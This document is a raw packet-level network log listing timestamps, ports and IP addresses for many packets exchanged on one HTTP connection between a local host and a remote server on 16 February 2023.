Feb 16, 2023 13:57:19.863085032 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863100052 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863122940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863133907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863153934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863169909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863185883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863204956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863230944 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863239050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863275051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863286972 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863286972 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863308907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863332033 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863343000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863377094 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863409996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863440990 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863456964 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863456964 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863456964 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863456964 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863476038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863497972 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863511086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863534927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863544941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863579035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863579988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863604069 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863612890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863650084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863679886 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863679886 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863682032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863702059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863714933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863739014 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863749981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863775015 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863785028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863809109 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863818884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863840103 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863852024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863871098 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863887072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863903999 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863919973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863940954 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863951921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863986015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863986969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864016056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864020109 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864039898 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864053965 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864085913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864101887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864101887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864119053 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864151001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864173889 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864182949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864216089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864223003 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864223003 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864247084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864267111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864281893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864305019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864305019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864314079 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864347935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864371061 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864371061 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864379883 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864413023 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864434004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864434004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864445925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864461899 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864479065 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864499092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864511967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864545107 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864566088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864566088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864578962 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864598036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864610910 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864641905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864665985 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864665985 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864674091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864708900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864741087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864742041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864741087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864774942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864808083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864825010 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864825010 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864840984 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864872932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864903927 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864909887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864909887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864936113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864968061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.864970922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.864972115 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865000010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865031958 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865037918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865037918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865063906 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865097046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865098953 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865098953 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865154982 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865185976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865185976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865187883 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865221977 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865253925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865269899 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865269899 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865288973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865319967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865350008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865350008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865351915 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865386009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865408897 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865408897 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865417957 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865451097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865473032 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865473032 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865483046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865516901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865537882 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865537882 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865550995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865582943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865607977 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865607977 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865614891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865648031 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865679026 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865680933 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865681887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865710020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865736961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865736961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865744114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865782022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865813971 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865847111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865847111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865854979 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865901947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865911007 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865911007 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.865938902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.865969896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866000891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866031885 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866034031 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866034985 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866064072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866087914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866087914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866095066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866127014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866149902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866149902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866161108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866194963 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866209030 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866209030 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866226912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866259098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866271019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866271019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866292953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866323948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866338015 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866357088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866389990 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866417885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866417885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866420984 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866456032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866487026 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866506100 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866506100 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866518974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866550922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866550922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866552114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866585970 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866605043 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866605043 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866619110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866650105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866681099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866728067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866728067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866739035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866772890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866796970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866796970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866806984 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866842985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866864920 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866864920 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866875887 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866909981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866940975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866972923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.866976976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.866976976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867006063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867039919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867069960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867070913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867069960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867105961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867131948 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867131948 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867140055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867173910 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867208004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867229939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867238998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867229939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867290020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.867311954 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867311954 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.867347956 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.895292997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.895339012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.896357059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.916682959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.916760921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.916810989 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.916856050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.916904926 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.916954994 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.916958094 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917004108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917004108 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917054892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917068958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917068958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917099953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917125940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917146921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917193890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917202950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917202950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917238951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917284966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917300940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917300940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917331934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917376995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917393923 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917393923 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917424917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917469978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917500019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917500019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917515993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917561054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917592049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917592049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917607069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917653084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917666912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917666912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917701006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917747021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917756081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917756081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917794943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917840004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917844057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917844057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917886972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917933941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.917948008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917948008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.917980909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918028116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918039083 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918039083 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918076038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918122053 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918133020 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918133020 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918170929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918221951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918224096 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918224096 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918251038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918277025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918303013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918329000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918348074 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918348074 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918348074 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918356895 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918385029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918428898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918437004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918437004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918437004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918456078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918476105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918499947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918519020 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918519020 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918528080 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918556929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918582916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918586969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918586969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918611050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918659925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918685913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918721914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918721914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918721914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.918741941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918770075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.918795109 CET	80	49687	23.106.124.133	192.168.2.3
